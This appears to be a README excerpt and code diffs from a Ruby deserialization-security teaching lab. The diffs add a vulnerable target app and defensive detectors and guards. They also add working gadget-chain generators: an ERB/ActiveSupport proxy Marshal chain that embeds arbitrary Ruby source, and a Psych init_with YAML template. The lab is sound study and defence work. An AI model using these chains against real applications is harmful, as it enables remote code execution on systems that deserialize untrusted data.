That is the whole release. CI runs the suites and the standalone controls on Ruby 3.4 and
4.0, refuses to continue if the tag disagrees with `Marshalsea::VERSION` or if the gemspec
floor no longer matches the tested matrix, and then publishes through RubyGems trusted
publishing. There is no API key anywhere in this repository, and none to rotate or leak:
the job proves its identity to rubygems.org with a short-lived OIDC token issued by GitHub
for that specific workflow.
Everything runs in Docker against a pinned Ruby, and every gate container runs with `--network none` except the target, which gets its own internal network with no route off the host.
The tag is prefixed because sixty projects share this repository and a bare `v0.1.0` would
not say which one it belongs to. `rake -T` still prints `Create tag v0.1.0` because that
description is built before the prefix is applied; the tag actually created is
`marshalsea-v0.1.0`, and `just package` asserts the real value rather than the printed one.
The discipline here is that a green suite proves nothing until the thing under test has been mutated. Every rule added to this project ships with the mutant that kills it, every gate carries an input it must reject, and the tests that matter most are differential: they execute real `Marshal.load` and real `Psych`, observe what actually dispatched, and assert the model agrees, with liveness guards on both directions so a dead oracle cannot pass quietly.
Each release also publishes a Sigstore attestation recording which workflow built the
artifact and from which commit. Treat it as an auditable record, not as protection: neither
`gem install` nor `bundle install` verifies attestations today.
## Project Structure
## A note on the object-link index
```
deserialization-gadget-lab/
├── lib/marshalsea/
│ ├── marshal/
│ │ ├── parser.rb # the Marshal format reader that never calls Marshal.load
│ │ ├── node.rb # the parse graph, sealed and frozen before it is returned
│ │ ├── boundary_detector.rb # policy, three decision states, limitation notice
│ │ ├── load_guard.rb # TracePoint veto that fires before the hook body
│ │ ├── limits.rb # fourteen resource ceilings, all opt-out
│ │ ├── float_body.rb # float decoding that labels what it cannot decode
│ │ └── constants.rb errors.rb
│ ├── psych/inspector.rb # YAML AST reader, revives nothing
│ ├── chains/ # directory is the chain identity, no registry to rot
│ │ ├── base.rb erb_def_method.rb erb_def_module.rb psych_init_with.rb
│ ├── scanner.rb # reflection over the loaded class graph
│ └── chains.rb version.rb
├── target/ # the deliberately vulnerable Sinatra app + containers
├── scripts/ # the six gate stages and the gem auditor
├── test/ # seven suites, the adversarial corpus, standalone controls
├── learn/ # the teaching track (public)
└── justfile
```
Ruby's Marshal format documentation states that object links are one-indexed. **They are
zero-indexed.** A self-referential array dumps as `04 08 5b 06 40 00`, where the trailing
`00` is a link to the outermost object at index 0. The parser is written against the
observed bytes, not the documentation.
## Learn
This project ships a full teaching track. Read it in order, or jump to what you need.
| Doc | What it covers |
|-----|----------------|
| [`learn/00-OVERVIEW.md`](learn/00-OVERVIEW.md) | What the lab is, prerequisites, the project layout, and a quick tour |
| [`learn/01-CONCEPTS.md`](learn/01-CONCEPTS.md) | The deserialization bug class, opening with the Equifax debunk, grounded in verified incidents |
| [`learn/02-ARCHITECTURE.md`](learn/02-ARCHITECTURE.md) | The two readers, the gated versus ungated dispatch axis, and why the detector and parser disagree on purpose |
| [`learn/03-IMPLEMENTATION.md`](learn/03-IMPLEMENTATION.md) | A code walkthrough from Marshal tags to a working chain, with the ActiveSupport proxy as the showpiece |
| [`learn/04-CHALLENGES.md`](learn/04-CHALLENGES.md) | Extension ideas, from a new chain to closing the guard's deferred-execution bypass |
## License
AGPL-3.0-or-later. See [LICENSE](LICENSE).
[AGPL 3.0](LICENSE).

View File

@ -19,6 +19,8 @@ test:
{{run_ro}} ruby -Ilib -Itest test/scanner_test.rb
{{run_ro}} ruby -Ilib -Itest test/chains_test.rb
{{run_ro}} ruby -Ilib -Itest test/marshal/boundary_detector_test.rb
{{run_ro}} ruby -Ilib -Itest test/marshal/load_guard_test.rb
{{run_ro}} ruby -Ilib -Itest test/psych/inspector_test.rb
{{run_ro}} ruby -Ilib -Itest test/corpus_test.rb
corpus:
@ -47,6 +49,18 @@ exploit:
target:
@bash scripts/target-gate.sh
target-up:
docker build -q -f target/Dockerfile -t marshalsea-target:local . >/dev/null
docker run -d --rm --name marshalsea-target --read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=1m --cap-drop ALL \
--security-opt no-new-privileges --pids-limit 128 --memory 256m \
-p "127.0.0.1:${MARSHALSEA_TARGET_PORT:-47823}:4567" marshalsea-target:local
@echo "target on http://127.0.0.1:${MARSHALSEA_TARGET_PORT:-47823}"
@echo "this one is published and therefore NOT egress-isolated; just target is"
target-down:
-docker rm -f marshalsea-target
detector:
@bash scripts/detector-gate.sh

View File

@ -10,6 +10,8 @@ require_relative "marshalsea/marshal/float_body"
require_relative "marshalsea/marshal/limits"
require_relative "marshalsea/marshal/parser"
require_relative "marshalsea/marshal/boundary_detector"
require_relative "marshalsea/marshal/load_guard"
require_relative "marshalsea/psych/inspector"
require_relative "marshalsea/scanner"
require_relative "marshalsea/chains"

View File

@ -18,7 +18,7 @@ module Marshalsea
end
def all
@registry.reject { |chain| chain == Base }
registry
end
def find(name)
@ -34,4 +34,5 @@ module Marshalsea
end
require_relative "chains/base"
require_relative "chains/erb_def_method"
Dir[File.join(__dir__, "chains", "*.rb")].each { |chain| require chain }

View File

@ -8,9 +8,21 @@ module Marshalsea
class NotImplementedByChainError < ChainError; end
class ObjectLinkRefusedError < ChainError; end
class Base
SUBCLASS_MUST_DEFINE = "chain must define"
KIND_PRIMITIVE = :primitive
KIND_CHAIN = :chain
HEADER_BYTES = 2
HASH_WITH_ONE_ENTRY = "{\x06"
NIL_VALUE = "0"
OBJECT_LINK_REFUSED = "the payload graph contains an object link, whose index would shift " \
"when spliced behind a hash node; build it without repeated objects"
class << self
def inherited(subclass)
super
@ -37,6 +49,22 @@ module Marshalsea
metadata.fetch(:gem)
end
def kind
metadata.fetch(:kind)
end
def chain?
kind == KIND_CHAIN
end
def primitive?
kind == KIND_PRIMITIVE
end
def required_gems
metadata.fetch(:requires, [])
end
def affected_requirements
metadata.fetch(:affected).map { |constraint| Gem::Requirement.new(constraint) }
end
@ -54,6 +82,21 @@ module Marshalsea
def serialize
::Marshal.dump(generate)
end
private
def in_hash_key_position(object)
body = ::Marshal.dump(object).byteslice(HEADER_BYTES..)
header = ::Marshal.dump(nil).byteslice(0, HEADER_BYTES)
refuse_object_links("#{header}#{HASH_WITH_ONE_ENTRY}#{body}#{NIL_VALUE}".b)
end
def refuse_object_links(stream)
graph = Marshalsea::Marshal::Parser.new(stream).parse
return stream if graph.nodes.none? { |node| node.type == :object_link }
raise ObjectLinkRefusedError, OBJECT_LINK_REFUSED
end
end
end
end

View File

@ -13,11 +13,11 @@ module Marshalsea
TARGET_GEM = "erb"
AFFECTED = [
"< 4.0.3.1",
"= 4.0.4",
["< 4.0.3.1"],
["= 4.0.4"],
[">= 5.0.0", "< 6.0.1.1"],
[">= 6.0.2", "< 6.0.4"]
].freeze
].map { |constraints| constraints.map(&:freeze).freeze }.freeze
SRC_PREFIX = "#\nend\n"
SRC_SUFFIX = "\ndef _marshalsea_unused\n"
@ -30,14 +30,17 @@ module Marshalsea
CANARY_TEMPLATE = "File.write(%<path>p, %<marker>p)"
METADATA = {
name: CHAIN_NAME,
vector: VECTOR,
cve: CVE,
gem: TARGET_GEM,
affected: AFFECTED,
kind: KIND_PRIMITIVE
}.freeze
def self.metadata
{
name: CHAIN_NAME,
vector: VECTOR,
cve: CVE,
gem: TARGET_GEM,
affected: AFFECTED
}
METADATA
end
def self.canary(path, marker)

View File

@ -0,0 +1,129 @@
# ©AngelaMos | 2026
# erb_def_module.rb
# frozen_string_literal: true
require "erb"
module Marshalsea
module Chains
class ErbDefModule < Base
CHAIN_NAME = "erb-def-module"
VECTOR = "hash"
CVE = "CVE-2026-41316"
TARGET_GEM = "erb"
REQUIRES = ["activesupport"].freeze
AFFECTED = [
["< 4.0.3.1"],
["= 4.0.4"],
[">= 5.0.0", "< 6.0.1.1"],
[">= 6.0.2", "< 6.0.4"]
].map { |constraints| constraints.map(&:freeze).freeze }.freeze
PROXY_CLASS = "ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"
DEPRECATOR_CLASS = "ActiveSupport::Deprecation"
DISPATCH_METHOD = :def_module
PROXY_LABEL = "@marshalsea"
SRC_PREFIX = "#\nend\n"
SRC_SUFFIX = "\ndef _marshalsea_unused\n"
DEFAULT_FILENAME = "(erb)"
DEFAULT_LINENO = 0
IVAR_SRC = :@src
IVAR_FILENAME = :@filename
IVAR_LINENO = :@lineno
IVAR_INSTANCE = :@instance
IVAR_METHOD = :@method
IVAR_VAR = :@var
IVAR_DEPRECATOR = :@deprecator
IVAR_SILENCED = :@silenced
CANARY_TEMPLATE = "File.write(%<path>p, %<marker>p)"
MISSING_DISPATCHER = "#{PROXY_CLASS} is not loaded; this chain needs activesupport".freeze
SET_IVAR = Object.instance_method(:instance_variable_set).freeze
METADATA = {
name: CHAIN_NAME,
vector: VECTOR,
cve: CVE,
gem: TARGET_GEM,
affected: AFFECTED,
kind: KIND_CHAIN,
requires: REQUIRES
}.freeze
def self.metadata
METADATA
end
def self.canary(path, marker)
new(format(CANARY_TEMPLATE, path: path, marker: marker))
end
def self.dispatcher_available?
dispatcher_class
true
rescue ChainError
false
end
def self.dispatcher_class
require "active_support"
require "active_support/deprecation"
Object.const_get(PROXY_CLASS)
rescue LoadError, NameError
raise ChainError, MISSING_DISPATCHER
end
def self.deprecator_class
dispatcher_class
Object.const_get(DEPRECATOR_CLASS)
end
def initialize(ruby_source)
super()
@ruby_source = ruby_source
end
def generate
proxy = self.class.dispatcher_class.allocate
SET_IVAR.bind_call(proxy, IVAR_INSTANCE, template)
SET_IVAR.bind_call(proxy, IVAR_METHOD, DISPATCH_METHOD)
SET_IVAR.bind_call(proxy, IVAR_VAR, PROXY_LABEL)
SET_IVAR.bind_call(proxy, IVAR_DEPRECATOR, deprecator)
proxy
end
def serialize
in_hash_key_position(generate)
end
def template
object = ERB.allocate
object.instance_variable_set(IVAR_SRC, src)
object.instance_variable_set(IVAR_FILENAME, DEFAULT_FILENAME)
object.instance_variable_set(IVAR_LINENO, DEFAULT_LINENO)
object
end
def deprecator
silent = self.class.deprecator_class.allocate
silent.instance_variable_set(IVAR_SILENCED, true)
silent
end
def src
"#{SRC_PREFIX}#{@ruby_source}#{SRC_SUFFIX}"
end
private
attr_reader :ruby_source
end
end
end

View File

@ -0,0 +1,57 @@
# ©AngelaMos | 2026
# psych_init_with.rb
# frozen_string_literal: true
require "psych"
module Marshalsea
module Chains
class PsychInitWith < Base
CHAIN_NAME = "psych-init-with"
VECTOR = "init_with"
CVE = "none"
TARGET_GEM = "psych"
AFFECTED = [[">= 0"]].map { |constraints| constraints.map(&:freeze).freeze }.freeze
DOCUMENT_TEMPLATE = <<~YAML
--- !ruby/object:%<class_name>s
%<ivar>s: %<value>s
YAML
DEFAULT_IVAR = "cmd"
METADATA = {
name: CHAIN_NAME,
vector: VECTOR,
cve: CVE,
gem: TARGET_GEM,
affected: AFFECTED,
kind: KIND_CHAIN
}.freeze
def self.metadata
METADATA
end
def initialize(class_name, value, ivar: DEFAULT_IVAR)
super()
@class_name = class_name
@value = value
@ivar = ivar
end
def generate
format(DOCUMENT_TEMPLATE, class_name: class_name, ivar: ivar, value: value.inspect)
end
def serialize
generate
end
private
attr_reader :class_name, :value, :ivar
end
end
end

View File

@ -17,8 +17,14 @@ module Marshalsea
REASON_MALFORMED = "stream is not canonical Marshal: %s"
REASON_SINK = "stream reaches %s#%s during load, before any allowlist can run"
REASON_UNAPPROVED = "stream references unapproved class %s"
REASON_KEY_DISPATCH = "stream puts %s in a hash key, so its #hash and #eql? run during " \
"load, before any allowlist can act"
REASON_ROLE_ANOMALY = "stream is not canonical Marshal: %s, so Marshal.load refuses it " \
"and there is nothing here to permit"
REASON_KEY_HASH = "stream puts %s in a hash key, so its #hash runs during load, before " \
"any allowlist can act"
REASON_KEY_EQL = "stream puts %s in a hash key, so its #eql? runs during load as soon as " \
"two keys collide, before any allowlist can act"
REASON_RANGE_ENDPOINT = "stream puts %s in a Range endpoint, so its #<=> runs during " \
"load, before any allowlist can act"
REASON_NONCANONICAL_VERSION = "stream declares Marshal %d.%d; every Ruby that can produce " \
"this format emits %d.%d"
@ -134,11 +140,20 @@ module Marshalsea
end
def violation_for(result)
anomaly = result.role_anomalies.first
return format(REASON_ROLE_ANOMALY, anomaly) if anomaly
sink = result.sinks.first
return format(REASON_SINK, quoted(sink.class_name), sink.sink_method) if sink
key = result.dispatching_hash_keys.first
return format(REASON_KEY_DISPATCH, quoted(key.effective_class_name)) if key
hashed = result.hash_dispatching_keys.first
return format(REASON_KEY_HASH, quoted(hashed.effective_class_name)) if hashed
compared = result.eql_dispatching_keys.first
return format(REASON_KEY_EQL, quoted(compared.effective_class_name)) if compared
endpoint = result.range_endpoint_dispatchers.first
return format(REASON_RANGE_ENDPOINT, quoted(endpoint.effective_class_name)) if endpoint
return nil if policy == POLICY_DENY_SINKS_ONLY

View File

@ -68,8 +68,13 @@ module Marshalsea
ROLE_STRUCT = "struct member"
ROLE_BIGNUM = "bignum word"
ROLE_ANOMALY = "%s name slot holds %s, not a symbol"
CLASS_NAME_TYPES = %i[symbol symlink].freeze
RANGE_CLASS_NAME = "Range"
RANGE_ENDPOINT_IVARS = %i[begin end].freeze
REGISTERED_WRAPPER_TYPES = %i[data].freeze
SINK_TAGS = [TAG_USERDEF, TAG_USERMARSHAL, TAG_DATA].freeze

View File

@ -74,10 +74,12 @@ module Marshalsea
@max_struct_members = max_struct_members
end
STACK_SAFE_MAX_DEPTH = Constants::DEFAULT_MAX_DEPTH
def self.permissive
new(
max_bytes: UNBOUNDED,
max_depth: Constants::DEFAULT_MAX_DEPTH,
max_depth: STACK_SAFE_MAX_DEPTH,
max_nodes: UNBOUNDED,
max_registered_objects: UNBOUNDED,
max_symbol_definitions: UNBOUNDED,

View File

@ -0,0 +1,120 @@
# ©AngelaMos | 2026
# load_guard.rb
# frozen_string_literal: true
module Marshalsea
module Marshal
class GuardedLoadError < StandardError; end
class LoadGuard
GATED_HOOKS = %i[marshal_load _load _load_data].freeze
DISPATCH_HOOKS = %i[method_missing respond_to_missing?].freeze
KEY_HOOKS = %i[hash eql?].freeze
DEFAULT_HOOKS = (GATED_HOOKS + DISPATCH_HOOKS).freeze
STRICT_HOOKS = (DEFAULT_HOOKS + KEY_HOOKS).freeze
EVENTS = %i[call c_call].freeze
REASON = "deserialization hook %s#%s is not permitted"
ANONYMOUS_OWNER = "(class with no name)"
LIMITATION_NOTICE = <<~NOTICE
SECURITY LIMITATION
Marshalsea::Marshal::LoadGuard vetoes a deserialization hook before its body runs,
which is the thing a Marshal.load allowlist proc cannot do. It is defense in depth
and a tripwire. It is not a boundary, and it never makes Marshal.load on untrusted
input safe.
It covers the load window only. A class carrying no hook at all is instantiated
freely and fires whenever the application later touches it, which is outside any
window this guard can see.
With the default hook set it does not watch #hash or #eql?. Rebuilding a Hash
rehashes its keys, so a key object's #hash runs inside Marshal.load with no
deserialization hook involved. Pass strict: true to watch those two as well, and
accept that they are among the hottest methods in Ruby: the cost and the
false-positive profile both change completely. Marshalsea::Marshal::BoundaryDetector
catches that same shape before any bytes are loaded, which is the cheaper place
to catch it.
The guard is thread-scoped. A load on another thread is not covered.
Its cost is not a multiplier. Enabling a TracePoint costs roughly 46 microseconds
per load on a stock ruby:4.0-slim, near enough constant, so the ratio is decided by
how much work the load itself does. Measured 2026-07-30: 40x on a 45-byte session
cookie, 21x on a 142-byte session, 1.1x on a 46 KB document, 1.0x on a 488 KB one.
Guarding a large payload is close to free. Guarding a session cookie on every
request is not, and a cookie is exactly what this lab deserializes.
NOTICE
class Observation
attr_reader :class_name, :method_name
def initialize(class_name:, method_name:, permitted:)
@class_name = class_name
@method_name = method_name
@permitted = permitted
end
def permitted?
@permitted
end
def to_s
"#{class_name}##{method_name}"
end
end
attr_reader :observations
def initialize(permitted_class_names: [], strict: false)
@permitted_class_names = permitted_class_names.map(&:to_s).freeze
@hooks = strict ? STRICT_HOOKS : DEFAULT_HOOKS
@observations = [].freeze
end
def load(blob)
seen = []
tracer = TracePoint.new(*EVENTS) { |event| inspect_event(event, seen) }
result = nil
begin
tracer.enable { result = ::Marshal.load(blob) }
ensure
@observations = seen.freeze
end
result
end
def watches?(hook)
hooks.include?(hook)
end
private
attr_reader :permitted_class_names, :hooks
def inspect_event(event, seen)
return unless hooks.include?(event.method_id)
owner = owner_name(event.self)
label = owner || ANONYMOUS_OWNER
permitted = !owner.nil? && permitted_class_names.include?(owner)
seen << Observation.new(class_name: label, method_name: event.method_id,
permitted: permitted)
return if permitted
raise GuardedLoadError, format(REASON, label, event.method_id)
end
def owner_name(receiver)
owner = receiver.is_a?(Module) ? receiver : receiver.class
name = owner.name
name if name.is_a?(String) && !name.empty?
rescue StandardError
nil
end
end
end
end

View File

@ -8,8 +8,9 @@ module Marshalsea
STRING_BACKED_TYPES = %i[string regexp].freeze
WRAPPER_TYPES = %i[user_class extended].freeze
attr_reader :type, :tag, :children, :instance_variables_map, :auxiliary, :undecoded_tail
attr_accessor :value, :class_name, :link_target
attr_reader :type, :tag, :children, :instance_variables_map, :instance_variable_pairs,
:auxiliary, :undecoded_tail
attr_accessor :value, :class_name, :link_target, :regexp_options
def initialize(type:, tag: nil, value: nil, class_name: nil, undecoded_tail: nil)
@type = type
@ -19,6 +20,7 @@ module Marshalsea
@undecoded_tail = undecoded_tail
@children = []
@instance_variables_map = {}
@instance_variable_pairs = []
@auxiliary = []
end
@ -39,11 +41,44 @@ module Marshalsea
end
def dispatches_key_methods?
return link_target ? link_target.dispatches_key_methods? : false if type == :object_link
return false unless class_name
return !string_backed? if WRAPPER_TYPES.include?(type)
!hash_dispatcher.nil? || !eql_dispatcher.nil?
end
true
def hash_dispatcher(seen = {}.compare_by_identity)
return nil if seen.key?(self)
seen[self] = true
return link_target&.hash_dispatcher(seen) if type == :object_link
return member_dispatcher(:hash_dispatcher, seen) unless class_name
return nil if WRAPPER_TYPES.include?(type) && string_backed?
self
end
def eql_dispatcher(seen = {}.compare_by_identity)
return nil if seen.key?(self)
seen[self] = true
return link_target&.eql_dispatcher(seen) if type == :object_link
return member_dispatcher(:eql_dispatcher, seen) unless class_name
self
end
def member_dispatcher(probe, seen)
children.each do |child|
found = child.public_send(probe, seen)
return found if found
end
nil
end
def range_endpoints
instance_variable_pairs.filter_map do |name, value|
next unless Constants::RANGE_ENDPOINT_IVARS.include?(name.value)
value if value.effective_class_name
end
end
def effective_class_name
@ -72,23 +107,29 @@ module Marshalsea
children.freeze
auxiliary.freeze
instance_variables_map.freeze
instance_variable_pairs.freeze
freeze
end
end
class Result
attr_reader :root, :major, :minor
attr_reader :root, :major, :minor, :role_anomalies
def initialize(root, major:, minor:)
def initialize(root, major:, minor:, role_anomalies: [])
@root = root
@major = major
@minor = minor
@role_anomalies = role_anomalies
end
def canonical_version?
major == Constants::MAJOR_VERSION && minor == Constants::MINOR_VERSION
end
def canonical_roles?
role_anomalies.empty?
end
def nodes
root.each
end
@ -115,6 +156,19 @@ module Marshalsea
def dispatching_hash_keys
hash_keys.select(&:dispatches_key_methods?)
end
def hash_dispatching_keys
hash_keys.filter_map(&:hash_dispatcher)
end
def eql_dispatching_keys
hash_keys.filter_map(&:eql_dispatcher)
end
def range_endpoint_dispatchers
nodes.select { |node| node.effective_class_name == Constants::RANGE_CLASS_NAME }
.flat_map(&:range_endpoints)
end
end
end
end

View File

@ -18,6 +18,7 @@ module Marshalsea
@position = 0
@symbols = []
@objects = []
@role_anomalies = []
end
def parse
@ -26,7 +27,8 @@ module Marshalsea
raise TrailingBytesError, "#{remaining} unread bytes" unless remaining.zero?
root.each(&:seal)
Result.new(root, major: @major, minor: @minor).freeze
Result.new(root, major: @major, minor: @minor,
role_anomalies: @role_anomalies.freeze).freeze
end
private
@ -194,7 +196,7 @@ module Marshalsea
def read_regexp(tag)
node = Node.new(type: :regexp, tag: tag, value: read_counted_bytes)
take(1)
node.regexp_options = take_byte
node
end
@ -218,6 +220,12 @@ module Marshalsea
pair
end
def note_role_anomaly(role, node)
return if CLASS_NAME_TYPES.include?(node.type)
@role_anomalies << format(ROLE_ANOMALY, role, node.type).freeze
end
def read_class_name(node, depth)
class_node = read_value(depth)
unless CLASS_NAME_TYPES.include?(class_node.type)
@ -236,9 +244,11 @@ module Marshalsea
count.times do
name = read_value(depth + 1)
value = read_value(depth + 1)
note_role_anomaly(ROLE_IVAR, name)
node.auxiliary << name
node.auxiliary << value
node.instance_variables_map[name.value] = value
node.instance_variable_pairs << [name, value].freeze
end
node
end
@ -258,7 +268,11 @@ module Marshalsea
read_class_name(node, depth + 1)
count = read_entry_count(ROLE_STRUCT)
budget.struct_members!(count)
count.times { node.children << read_pair(depth) }
count.times do
pair = read_pair(depth)
note_role_anomaly(ROLE_STRUCT, pair.children.first)
node.children << pair
end
node
end

View File

@ -0,0 +1,277 @@
# ©AngelaMos | 2026
# inspector.rb
# frozen_string_literal: true
require "psych"
module Marshalsea
module Psych
class DocumentError < StandardError; end
class MalformedDocumentError < DocumentError; end
class InputTypeError < DocumentError; end
class LimitExceededError < DocumentError; end
module Tags
PATTERN = %r{\A!ruby/(?<kind>[a-z_-]+)(?::(?<class_name>.+))?\z}
KIND_OBJECT = "object"
KIND_HASH = "hash"
KIND_ARRAY = "array"
KIND_STRING = "string"
KIND_STRUCT = "struct"
KIND_EXCEPTION = "exception"
KIND_MARSHALABLE = "marshalable"
REVIVAL_METHODS = {
KIND_OBJECT => "init_with",
KIND_HASH => "[]=",
KIND_ARRAY => "init_with",
KIND_STRING => "init_with",
KIND_STRUCT => "init_with",
KIND_EXCEPTION => "init_with",
KIND_MARSHALABLE => "marshal_load"
}.freeze
GATED_KINDS = [KIND_MARSHALABLE].freeze
module_function
def parse(tag)
match = PATTERN.match(tag.to_s)
return nil unless match
[match[:kind], match[:class_name]]
end
end
class Limits
DEFAULT_MAX_BYTES = 1_048_576
DEFAULT_MAX_DEPTH = 64
DEFAULT_MAX_NODES = 10_000
DEFAULT_MAX_ALIASES = 64
DEFAULT_MAX_DOCUMENTS = 8
ROLE_BYTES = "document bytes"
ROLE_DEPTH = "nesting depth"
ROLE_NODES = "nodes"
ROLE_ALIASES = "aliases"
ROLE_DOCUMENTS = "documents"
attr_reader :max_bytes, :max_depth, :max_nodes, :max_aliases, :max_documents
def initialize(max_bytes: DEFAULT_MAX_BYTES, max_depth: DEFAULT_MAX_DEPTH,
max_nodes: DEFAULT_MAX_NODES, max_aliases: DEFAULT_MAX_ALIASES,
max_documents: DEFAULT_MAX_DOCUMENTS)
@max_bytes = max_bytes
@max_depth = max_depth
@max_nodes = max_nodes
@max_aliases = max_aliases
@max_documents = max_documents
end
end
class Reference
attr_reader :class_name, :kind, :key_position
def initialize(class_name:, kind:, key_position:)
@class_name = class_name
@kind = kind
@key_position = key_position
end
def key_position?
@key_position
end
def gated?
Tags::GATED_KINDS.include?(kind)
end
def revival_method
Tags::REVIVAL_METHODS.fetch(kind, nil)
end
def to_s
"#{class_name} (!ruby/#{kind})"
end
end
class Document
attr_reader :references, :alias_count, :node_count, :document_count
def initialize(references:, alias_count:, node_count:, document_count:)
@references = references
@alias_count = alias_count
@node_count = node_count
@document_count = document_count
end
def class_names
references.filter_map(&:class_name).uniq
end
def revivable
references.reject { |reference| reference.class_name.nil? }
end
def key_position_references
references.select(&:key_position?)
end
def gated_references
references.select(&:gated?)
end
end
class Inspector
Decision = Marshalsea::Marshal::BoundaryDetector::Decision
REASON_INPUT_TYPE = "input is not a String"
REASON_MALFORMED = "document is not parseable YAML: %s"
REASON_UNAPPROVED = "document revives unapproved class %s through %s"
REASON_KEY_DISPATCH = "document puts %s in a mapping key, so its #hash and #== run " \
"while the mapping is rebuilt"
LIMITATION_NOTICE = <<~NOTICE
SECURITY LIMITATION
Marshalsea::Psych::Inspector reads a YAML document through Psych.parse_stream, which
builds an AST and revives nothing. It never calls YAML.load or YAML.unsafe_load.
Unlike Marshal, Psych's own allowlist is a real veto: Psych checks the tag before it
revives the object, where Marshal runs its proc after the callback has already fired.
Same intent, opposite outcome, decided entirely by where the check sits. That means
YAML.safe_load with permitted_classes is a boundary and this inspector is only
detection and reporting on top of it.
Prefer YAML.safe_load. Use this to see what a document would revive, to log it, or
to reject a document before it reaches a loader you do not control.
Alias expansion is not performed here, so an alias bomb costs nothing to inspect.
It still costs whatever the eventual loader spends expanding it, which is why the
alias count is bounded and reported rather than ignored.
NOTICE
def initialize(permitted_class_names: [], limits: Limits.new)
@permitted_class_names = permitted_class_names.map(&:to_s).freeze
@limits = limits
end
def inspect_document(input)
return reject(REASON_INPUT_TYPE) unless input.is_a?(String)
snapshot = input.dup.freeze
enforce_size(snapshot)
evaluate(read(snapshot), snapshot)
rescue DocumentError => e
reject(format(REASON_MALFORMED, e.class.name.split("::").last))
end
def read(source)
Walk.new(limits).call(::Psych.parse_stream(source))
rescue ::Psych::SyntaxError => e
raise MalformedDocumentError, e.message
end
private
attr_reader :permitted_class_names, :limits
def enforce_size(source)
return if source.bytesize <= limits.max_bytes
raise LimitExceededError, "#{Limits::ROLE_BYTES} #{source.bytesize} exceeds #{limits.max_bytes}"
end
def evaluate(document, snapshot)
violation = violation_for(document)
return reject(violation) if violation
Decision.new(state: Decision::STATE_PROCEED, snapshot: snapshot, result: document)
end
def violation_for(document)
keyed = document.key_position_references.first
return format(REASON_KEY_DISPATCH, keyed.class_name.inspect) if keyed
unapproved = document.revivable.reject do |reference|
permitted_class_names.include?(reference.class_name)
end
return nil if unapproved.empty?
format(REASON_UNAPPROVED, unapproved.first.class_name.inspect,
unapproved.first.revival_method)
end
def reject(reason)
Decision.new(state: Decision::STATE_BLOCKED, reason: reason)
end
end
class Walk
MAPPING_KEY_STRIDE = 2
def initialize(limits)
@limits = limits
@references = []
@aliases = 0
@nodes = 0
@documents = 0
end
def call(stream)
@documents = stream.children.length
check(@documents, limits.max_documents, Limits::ROLE_DOCUMENTS)
stream.children.each { |child| visit(child, 1, false) }
Document.new(references: @references.freeze, alias_count: @aliases,
node_count: @nodes, document_count: @documents)
end
private
attr_reader :limits
def check(value, ceiling, role)
return if value <= ceiling
raise LimitExceededError, "#{role} #{value} exceeds #{ceiling}"
end
def visit(node, depth, key_position)
check(depth, limits.max_depth, Limits::ROLE_DEPTH)
@nodes += 1
check(@nodes, limits.max_nodes, Limits::ROLE_NODES)
if node.is_a?(::Psych::Nodes::Alias)
@aliases += 1
check(@aliases, limits.max_aliases, Limits::ROLE_ALIASES)
end
record(node, key_position)
descend(node, depth)
end
def record(node, key_position)
return unless node.respond_to?(:tag)
kind, class_name = Tags.parse(node.tag)
return unless kind
@references << Reference.new(class_name: class_name, kind: kind, key_position: key_position)
end
def descend(node, depth)
children = node.children
return unless children
mapping = node.is_a?(::Psych::Nodes::Mapping)
children.each_with_index do |child, index|
visit(child, depth + 1, mapping && (index % MAPPING_KEY_STRIDE).zero?)
end
end
end
end
end

View File

@ -3,13 +3,47 @@
# frozen_string_literal: true
module Marshalsea
class Scanner
GATED_METHODS = %w[marshal_load _load_data].freeze
GATED_SINGLETON_METHODS = %w[_load].freeze
UNGATED_METHODS = %w[hash eql? == <=> []= to_s method_missing respond_to_missing? coerce].freeze
class ParseRecoveredError < StandardError
def initialize(errors)
super("Prism recovered an incomplete tree from #{errors} syntax errors")
end
end
class Scanner
GATE_GATED = :gated
GATE_SOFT = :soft
GATE_UNGATED = :ungated
GATE_LINK = :link
FORMAT_MARSHAL = :marshal
FORMAT_PSYCH = :psych
VARIADIC = -1
ENTRY_POINTS = {
"marshal_load" => { gate: GATE_GATED, arity: 1, formats: [FORMAT_MARSHAL, FORMAT_PSYCH] },
"_load_data" => { gate: GATE_GATED, arity: 1, formats: [FORMAT_MARSHAL] },
"_load" => { gate: GATE_GATED, arity: 1, formats: [FORMAT_MARSHAL], singleton: true },
"init_with" => { gate: GATE_SOFT, arity: 1, formats: [FORMAT_PSYCH] },
"hash" => { gate: GATE_UNGATED, arity: 0, formats: [FORMAT_MARSHAL, FORMAT_PSYCH] },
"eql?" => { gate: GATE_UNGATED, arity: 1, formats: [FORMAT_MARSHAL, FORMAT_PSYCH] },
"<=>" => { gate: GATE_UNGATED, arity: 1, formats: [FORMAT_MARSHAL] },
"==" => { gate: GATE_UNGATED, arity: 1, formats: [FORMAT_PSYCH] },
"[]=" => { gate: GATE_UNGATED, arity: 2, formats: [FORMAT_PSYCH] },
"method_missing" => { gate: GATE_UNGATED, arity: VARIADIC, formats: [FORMAT_MARSHAL, FORMAT_PSYCH] },
"respond_to_missing?" => { gate: GATE_UNGATED, arity: 2, formats: [FORMAT_MARSHAL, FORMAT_PSYCH] },
"respond_to?" => { gate: GATE_UNGATED, arity: VARIADIC, formats: [FORMAT_PSYCH] },
"to_s" => { gate: GATE_LINK, arity: 0, formats: [] },
"coerce" => { gate: GATE_LINK, arity: 1, formats: [] }
}.freeze
GATED_METHODS = ENTRY_POINTS.select { |_, spec| spec[:gate] == GATE_GATED && !spec[:singleton] }
.keys.freeze
GATED_SINGLETON_METHODS = ENTRY_POINTS.select { |_, spec| spec[:singleton] }.keys.freeze
UNGATED_METHODS = ENTRY_POINTS.select { |_, spec| spec[:gate] == GATE_UNGATED }.keys.freeze
LINK_METHODS = ENTRY_POINTS.select { |_, spec| spec[:gate] == GATE_LINK }.keys.freeze
INSTANCE_METHODS = ENTRY_POINTS.reject { |_, spec| spec[:singleton] }.keys.freeze
SINGLETON_METHODS = GATED_SINGLETON_METHODS
PRISM_AVAILABLE = begin
require "prism"
@ -39,9 +73,10 @@ module Marshalsea
SUBJECT_UNNAMED = "(module that cannot report a name)"
class Candidate
attr_reader :class_name, :method_name, :gate, :source_location, :arity
attr_reader :class_name, :method_name, :gate, :source_location, :arity, :formats
def initialize(class_name:, method_name:, gate:, source_location:, arity:, singleton:, touches_state:)
def initialize(class_name:, method_name:, gate:, source_location:, arity:, singleton:,
touches_state:, formats:)
@class_name = class_name
@method_name = method_name
@gate = gate
